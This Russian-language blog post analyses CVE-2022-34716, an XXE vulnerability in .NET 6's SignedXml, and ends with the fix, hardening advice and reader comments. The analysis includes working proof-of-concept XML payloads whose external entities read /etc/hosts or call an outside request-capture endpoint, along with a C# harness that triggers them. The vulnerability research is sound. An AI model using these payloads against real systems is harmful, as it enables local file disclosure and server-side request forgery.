Современный .NET даёт разработчикам защиту от XXE из коробки: парсишь себе XML и не забиваешь голову всякими DTD, сущностями и связанной с ними безопасностью. Разве не прекрасно? Однако жизнь — штука с иронией...
Под катом — разбор по кусочкам XXE из .NET 6 SDK: код, причины дефекта безопасности, фикс.
Примечание. Я писал статью с расчётом на читателя, уже знакомого с XXE. Если только знакомитесь с темой или нужно освежить память, предлагаю эти материалы:
- статья "Уязвимости из-за обработки XML-файлов: XXE в C# приложениях в теории и на практике";
- доклад с DotNext 2022: "Обработка XML-файлов как причина появления уязвимостей".
XXE в .NET: специфика XmlDocument
XML-парсеры с дефолтными настройками в современном .NET в основном защищены от XXE. Это достигается за счёт выключения резолверов сущностей или отключения обработки DTD — зависит от конкретного парсера.
Почему в основном?
- не возьмусь сказать наверняка за все парсеры;
- если бы все парсеры были защищены, то и статьи не было бы :)
Чтобы разобраться с уязвимостью из .NET 6, вспомним специфику типа XmlDocument
. Начнём с примера. Такой код в современном .NET защищён от XXE:
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(xmlStream);
// Processing...
Убедимся в этом — попробуем прочитать XML-парсером локальный файл и распечатать содержимое в консоль:
static void ProcessXml(Stream xmlStream)
{
var xmlDoc = new XmlDocument();
xmlDoc.Load(xmlStream);
// Processing...
Console.WriteLine(xmlDoc.InnerText);
}
Вредоносный XML:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
<!ENTITY query SYSTEM "file:///etc/hosts" >
]>
<xxeExample>
&query;
</xxeExample>
Результат — пустой выхлоп.
XML-парсер не выкинул исключение, но и сущность разбирать не стал. С сетевыми запросами ситуация аналогична: в дефолтной конфигурации парсер их не выполняет.
Приведённый выше код легко сделать опасным, проинициализировав свойство XmlResolver
:
static void ProcessXml(Stream xmlStream)
{
XmlDocument xmlDoc = new XmlDocument()
{
XmlResolver = new XmlUrlResolver()
};
xmlDoc.Load(xmlStream);
// Processing...
Console.WriteLine(xmlDoc.InnerText);
}
Если этот код будет парсить тот же XML, приложение запишет в консоль содержимое файла hosts:
С сетевыми запросами ситуация аналогична — меняем содержимое подаваемого на вход XML-файла и проверяем указанную в нём конечную точку.
XML с сущностью обращения к внешнему ресурсу (URI сокращён):
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
<!ENTITY query SYSTEM "https://*.beeceptor.com/xxe?data=Memento%20mori">
]>
<xxeExample>&query;</xxeExample>
Пойманный сетевой запрос:
Вывод: в .NET экземпляры XmlDocument
безопасны из коробки, так как у них отсутствует резолвер. Однако парсер станет уязвимым, если явно проинициализировать свойство XmlResolver
опасным значением (например, экземпляром XmlUrlResolver
в дефолтном состоянии).
Безопасность дефолтных парсеров в .NET Framework зависит не только от версии фреймворка, но и от ряда других факторов. Подробнее эту тему я разбирал в докладе "Уязвимости при работе с XML в .NET: часть 2" на DotNext 2023. Запись уже можно посмотреть, если есть билет.
CVE-2022-34716: XXE в .NET 6 SDK
Общая информация
От общей теории переходим к нашей основной теме — уязвимости CVE-2022-34716.
Обычно Microsoft не даёт много информации об уязвимостях в своих продуктах. Этот раз исключением не стал. С одной стороны, мотивация таких решений понятна. С другой, факт остаётся фактом: хочешь деталей — ищи их сам.
Основная информация:
- .NET Spoofing Vulnerability;
- CVE-ID: CVE-2022-34716;
- запись в базе NVD;
- запись в GHAD;
- фикс доступен в .NET 6.0.8.
Однако, если покопаться в интернете чуть побольше, можно найти интересные подробности: link #1, link #2. Из них выясняем, что CVE-2022-34716 — это XXE, связанная с типом System.Security.Cryptography.Xml.SignedXml
. Что ж, давайте попробуем составить PoC и найти причины дефекта безопасности.
Чтобы изучить проблему, соберём тестовый проект на .NET 6 SDK с уязвимой версией пакета System.Security.Cryptography.Xml — 6.0.0. Код для работы с типом SignedXml
возьмём из документации.
Сокращённый вариант кода из доков, достаточный для исследования:
void ProcessSignedXml(String xmlPath)
{
var xmlDoc = new XmlDocument();
xmlDoc.Load(xmlPath);
var signedXml = new SignedXml(xmlDoc);
signedXml.SigningKey = RSA.Create();
Reference reference = new Reference();
reference.Uri = String.Empty;
var env = new XmlDsigEnvelopedSignatureTransform();
reference.AddTransform(env);
signedXml.AddReference(reference);
signedXml.ComputeSignature();
// ...
}
На вход подаём XML-файл следующего вида:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
<!ENTITY query SYSTEM "https://path/to/endpoint">
]>
<xxeExample>&query;</xxeExample>
Вместо path/to/endpoint
я использовал конкретный эндпоинт на beeceptor.com. Если при парсинге XML-файла на конечную придёт запрос, значит, мы докопались до XXE.
Алгоритм проверки получается таким:
- Отдаём описанный выше XML-файл в метод
ProcessSignedXml
. - Отлаживаем код и смотрим, какое обращение к API приводит к пингу конечной точки.
- Раскручиваем обращение к API до выяснения причин.
Вернёмся к методу ProcessSignedXml
:
void ProcessSignedXml(String xmlPath)
{
var xmlDoc = new XmlDocument();
xmlDoc.Load(xmlPath);
var signedXml = new SignedXml(xmlDoc);
signedXml.SigningKey = RSA.Create();
Reference reference = new Reference();
reference.Uri = String.Empty;
var env = new XmlDsigEnvelopedSignatureTransform();
reference.AddTransform(env);
signedXml.AddReference(reference);
signedXml.ComputeSignature();
// ...
}
Первое, что может вызвать подозрение — вызов метода XmlDocument.Load
:
var xmlDoc = new XmlDocument();
xmlDoc.Load(xmlPath);
Однако мы разобрались, что подобный код в .NET безопасен. К тому же он не задействует API SignedXml
.
Создание экземпляра SignedXml
также не порождает сетевого запроса:
var signedXml = new SignedXml(xmlDoc);
Не буду томить — обращение к конечной точке происходит во время вызова метода ComputeSignature
. Неожиданно…
На самом деле нас интересует даже не ComputeSignature
, а транзитивно вызываемый им CalculateHashValue
. Цепочка вызовов выглядит так:
ComputeSignature
-> BuildDigestReferences
-> UpdateHashValue
-> CalculateHashValue
Что ж, давайте посмотрим на CalculateHashValue
.
Анализ метода CalculateHashValue
Метод занимает порядка 150 строк, поэтому мы разберём только маленький его фрагмент — тот, в который переходит исполнение в нашем случае:
internal byte[]
CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
{
...
XmlResolver resolver = null;
...
resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver
: new XmlSecureResolver(new XmlUrlResolver(),
baseUri));
XmlDocument docWithNoComments = Utils.DiscardComments(
Utils.PreProcessDocumentInput(document, resolver, baseUri));
...
}
Ага, интересно… В глаза бросаются сразу несколько моментов.
Первый — присутствие переменной resolver
типа XmlResolver
. В начале статьи мы разбирали, что использование опасных резолверов (например, XmlUrlResolver
) может сделать XML-парсер уязвимым к XXE.
Второй — проинициализированный резолвер передаётся ещё глубже — в метод Utils.PreProcessDocumentInput
. Именно при его вызове и выполняется сетевой запрос.
Разберём оба этих момента.
Примечание. Рассматриваемая ветка кода — не единственная, где создаётся и используется резолвер. Если интересно посмотреть на остальные, загляните в исходники.
XmlSecureResolver
Код объявления и инициализации резолвера:
XmlResolver resolver = null;
...
resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver
: new XmlSecureResolver(new XmlUrlResolver(),
baseUri));
До этого момента резолвер выставлен не был, поэтому свойство SignedXml.ResolverSet
имеет значение false
. Следовательно, resolver
инициализируется ссылкой на экземпляр XmlSecureResolver
, созданный в alternative-ветви тернарного оператора.
Обратите внимание, что первым аргументом конструктора XmlSecureResolver
выступает ссылка на экземпляр XmlUrlResolver
в дефолтном состоянии. Мы уже знаем, что такие резолверы опасны. Но может внутри XmlSecureResolver
есть какая-то защита? Давайте проверим:
public partial class XmlSecureResolver : XmlResolver
{
private readonly XmlResolver _resolver;
public XmlSecureResolver(XmlResolver resolver, string? securityUrl)
{
_resolver = resolver;
}
public override ICredentials Credentials
{
set { _resolver.Credentials = value; }
}
public override object? GetEntity(Uri absoluteUri,
string? role, Type? ofObjectToReturn)
{
return _resolver.GetEntity(absoluteUri, role, ofObjectToReturn);
}
public override Uri ResolveUri(Uri? baseUri, string? relativeUri)
{
return _resolver.ResolveUri(baseUri, relativeUri);
}
}
Нет, ничего. Методы, отвечающие за резолвинг URI и обработку сущностей по факту делегируют работу объекту, на который ссылается поле _resolver
. Чем оно проинициализировано? Правильно — ссылкой на опасный резолвер, который был передан в конструктор:
new XmlSecureResolver(new XmlUrlResolver(), baseUri)
Вывод: в плане работы с сущностями XmlSecureResolver
так же опасен, как и XmlUrlResolver
.
Utils.PreProcessDocumentInput
Вызов метода Utils.PreProcessDocumentInput
выглядит так:
XmlDocument docWithNoComments = Utils.DiscardComments(
Utils.PreProcessDocumentInput(document, resolver, baseUri));
Мы выяснили, что resolver
ссылается на опасный объект. Посмотрим, что происходит внутри PreProcessDocumentInput
:
internal static XmlDocument
PreProcessDocumentInput(XmlDocument document,
XmlResolver xmlResolver,
string baseUri)
{
if (document == null)
throw new ArgumentNullException(nameof(document));
MyXmlDocument doc = new MyXmlDocument();
doc.PreserveWhitespace = document.PreserveWhitespace;
// Normalize the document
using (TextReader stringReader = new StringReader(document.OuterXml))
{
XmlReaderSettings settings = new XmlReaderSettings();
settings.XmlResolver = xmlResolver;
settings.DtdProcessing = DtdProcessing.Parse;
...
XmlReader reader = XmlReader.Create(stringReader, settings, baseUri);
doc.Load(reader);
}
return doc;
}
Основное, что нас интересует — создание XML-парсера (reader
) на основе настроек (settings
), причём:
- Свойство
DtdProcessing
инициализируется значениемDtdProcessing.Parse
. - В свойство
XmlResolver
записывается ссылка на опасный резолвер — экземплярXmlSecureResolver
, с которым мы разбирались выше.
Всё это делает созданный экземпляр XmlReader
уязвимым к XXE-атакам. Поэтому же вызов doc.Load(reader)
может читать локальные файлы или порождать сетевые запросы, что и происходит в нашем случае.
Саммари
Соберём основные моменты, которые привели к уязвимости:
- При использовании API
SignedXml
мы неявно вызвали методCalculateHashValue
. - Метод
CalculateHashValue
, в свою очередь, вызывает вспомогательный методUtils.PreProcessDocumentInput
, в который передаёт ссылку на экземпляр типаXmlSecureResolver
. - Тип
XmlSecureResolver
делегирует обработку внешних сущностей экземпляру типаXmlUrlResolver
и из-за этого является опасным. - В методе
Utils.PreProcessDocumentInput
создаётся XML-парсер типаXmlReader
, который:- разбирает DTD;
- использует в качестве резолвера экземпляр
XmlSecureResolver
.
- Из-за перечисленных свойств созданный парсер является уязвимым к XXE.
- Так как этот парсер разбирает вредоносный XML, возникает уязвимость.
Напомню, что мы обрабатывали с помощью SignedXml
API файл такого вида:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
<!ENTITY query SYSTEM "https://path/to/endpoint">
]>
<xxeExample>&query;</xxeExample>
Настроим конечную точку на возврат текста: тогда после вызова doc.Load(reader)
сможем прочитать его, обратившись к свойству doc.InnerText
:
Игры с цитатами из Хагакурэ — забавный эксперимент. Однако напомню, что последствиями XXE могут быть не безобидные шутки, а SSRF и утечки данных.
**
Уверен, есть и другие способы провести XXE-атаку на SignedXml
: в одном только методе CalculateHashValue
целых 6 мест создания и использования опасных резолверов.
Фикс
С уязвимостью разобрались, посмотрим на фикс. Он достаточно интересный — не затрагивает код создания и использования резолверов.
Продублирую код, который мы разбирали:
resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver
: new XmlSecureResolver(new XmlUrlResolver(),
baseUri));
XmlDocument docWithNoComments = Utils.DiscardComments(
Utils.PreProcessDocumentInput(document, resolver, baseUri));
Ни он, ни внутренности метода PreProcessDocumentInput
не поменялись. Основное, что изменилось — тип XmlSecureResolver
. Причём даже не его реализация — приведённый фрагмент кода стал использовать в принципе другой тип. Как так? Сейчас разберёмся.
Метод CalculateHashValue
определён в типе Reference
из пространства имён System.Security.Cryptography.Xml
. Тип XmlSecureResolver
находится в пространстве имён System.Xml
и в область видимости для Reference
включается через using
:
// Reference.cs
using System.Xml;
...
namespace System.Security.Cryptography.Xml
{
public class Reference
{
...
internal byte[]
CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
{
...
resolver = ( SignedXml.ResolverSet
? SignedXml._xmlResolver
: new XmlSecureResolver(new XmlUrlResolver(),
baseUri));
XmlDocument docWithNoComments =
Utils.DiscardComments(
Utils.PreProcessDocumentInput(document, resolver, baseUri));
...
}
}
}
// XmlSecureResolver.cs
namespace System.Xml
{
...
public partial class XmlSecureResolver : XmlResolver
{ ... }
}
В коммите с фиксом добавляют другую реализацию типа XmlSecureResolver
в рамках пространства имён System.Security.Cryptography.Xml
— того же самого, где содержится и сам тип Reference
.
Получается, что код типа Reference
, создания и использования резолверов не поменялись. Однако теперь используются безопасные резолверы из пространства имён System.Security.Cryptography.Xml.XmlSecureResolver
, а не System.Xml.XmlSecureResolver
.
Сам новый резолвер выглядит так:
namespace System.Security.Cryptography.Xml
{
// This type masks out System.Xml.XmlSecureResolver by being in the local namespace.
internal sealed class XmlSecureResolver : XmlResolver
{
internal XmlSecureResolver(XmlResolver resolver, string securityUrl)
{
}
// Simulate .NET Framework's CAS behavior by throwing SecurityException.
// Unlike .NET Framework's implementation, the securityUrl ctor parameter has no effect.
public override object
GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn)
=> throw new SecurityException();
}
}
Никакого делегирования резолвинга сущностей: если метод GetEntity
вызывается, то он просто выкидывает исключение типа SecurityException
. В этом можно убедиться, обновив пакет System.Security.Cryptography.Xml до версии 6.0.1. Если взять проверочный код из начала раздела и скормить ему тот же вредоносный XML, вместо раскрытия сущностей получим исключение:
Выводы
В .NET из коробки есть защита от XXE. Как мы сегодня убедились, эта же защита легко ломается, когда из-за стечения обстоятельств XML-парсеры получают опасные настройки.
Что здесь можно посоветовать:
- следите за тем, чтобы парсеры не обрабатывали DTD / внешние сущности или делали это с необходимыми ограничениями;
- будьте аккуратнее со сторонними компонентами (будь то SDK или NuGet-пакет). Если они работают с XML, кто знает, безопасно ли.
Да пребудет с вами безопасность.
Дополнительные материалы
Статьи
- Уязвимости из-за обработки XML-файлов: XXE в C# приложениях в теории и на практике
- Почему моё приложение при открытии SVG-файла отправляет сетевые запросы?
Доклады
- DotNext 2022: Обработка XML-файлов как причина появления уязвимостей
- DotNext 2023: Уязвимости при работе с XML в .NET: часть 2
(в общем доступе записи пока нет)
P.S. На конференции Joker 2023 я рассказывал о специфике XXE в Java. Если интересно, в чём отличие от .NET или хочется поделиться со знакомыми Java-разработчиками, вот ссылка на доклад (чтобы посмотреть запись, нужен билет).
Комментарии (10)
dprotopopov
24.10.2023 22:24-2Мораль сей басни такова: хочешь чтобы всё было правильно - делай сам.
И философский вопрос - стоит или не стоит полностью полагаться на изготовителей замков для дверей?
SergVasiliev Автор
24.10.2023 22:24+3Мораль сей басни такова: хочешь чтобы всё было правильно - делай сам.
Это так не работает :)
Всё-таки мы никуда не уйдём от использованиях сторонних компонентов. А что уж у них внутри — одним разработчикам известно (и то не факт).
Кстати, про "делать сам". В Java есть интересный момент, связанный с XXE: general entitites и parameter entities могут выключаться разными настройками. Видел, как в опенсорс проектах после репорта об XXE отключали одни настройки и забывали про другие...
И философский вопрос - стоит или не стоит полностью полагаться на изготовителей замков для дверей?
42 :)
КМК, вопрос сильно субъективный — каждому своё.
dprotopopov
24.10.2023 22:24Знаю, что так не работает, что в конечном итоге приходится полагаться на доверие, на чужое мнение, на своё ошибочное мнение и т.д.
И всегда рассчитывай, что что-то сломается ...
MiraclePtr
24.10.2023 22:24+3Мораль сей басни такова: хочешь чтобы всё было правильно - делай сам.
Ах если бы.
Да, в стандартных и популярных библиотеках бывают баги и дыры. Но подобное мышление обычно приводит к гораздо более грустным последствиям, когда какой-нибудь очередной Васян, страдающий синдромом Даннинга-Крюгера в терминальной стадии, решает, что уж он-то точно напишет все хорошо и правильно - а в итоге там окажется не только XXE, а ещё и пара дыр покрупнее, а в добавок его реализация ещё будет не полностью совместима со стандартом, потому что он упустил какие-то редкие граничные кейсы. И бонусом получаем тонну велосипедов с квадратными колесами, написанные такими Васянами в разных проектах.
И если в каких-то простых предметах это в худшем случае выльется в баги в продукте и в мат программистов, которые будут потом это поддерживать, то в критических местах последствия могут быть гораздо хуже. Неспроста правила типа "don't roll your own crypto" написаны кровью в любом учебнике по инфобезопасности...
fddima
24.10.2023 22:24Совершенно не верно. Как показывает как раз практика последних десятилетий - хочешь что бы хорошо - сделай сам, при этом оно будет обладать гораздо лучшими эксплуатационными качествами. Вопрос исключительно только, в том, что всё подряд делать самому (или даже командой) - не представляется возможным, ввиду отсутствия ресурсов и/или экспертизы. Но если это есть - то дорога открыта. Велосипеды как вы их называете - на практике в разы дешевле, потому что они решают конкретную проблему, а не всё на свете. И что бы вы не говорили - куча задач, стандартными средствами просто не решается. А если вы говорите абстрактно за всех - то грошь этому цена, т.к. задачи у всех разные.
Tempelfeld
А где можно взять билет?
SergVasiliev Автор
Уточнил в поддержке организаторов конференций — нужно написать им в саппорт (на почту или в Телеграм).
Также записи докладов обычно выкладывают в общий доступ на YouTube ближе к следующей соответствующей конференции.
Vitimbo
По ссылкам какая-то беда. Серт не валидный и бот не работает :с
SergVasiliev Автор
Не могу отредачить комментарий, отдельно напишу.
Почта: ссылка криво встала. Эл. почта: support@jugru.team
Бот: не могу сказать, напишу ребятам в поддержку.
phillennium
Скажу от имени организаторов: хмм, проверили с нашей стороны — бот вроде бы работает. Попробуйте ещё раз, пожалуйста, если так и не получится — сообщите.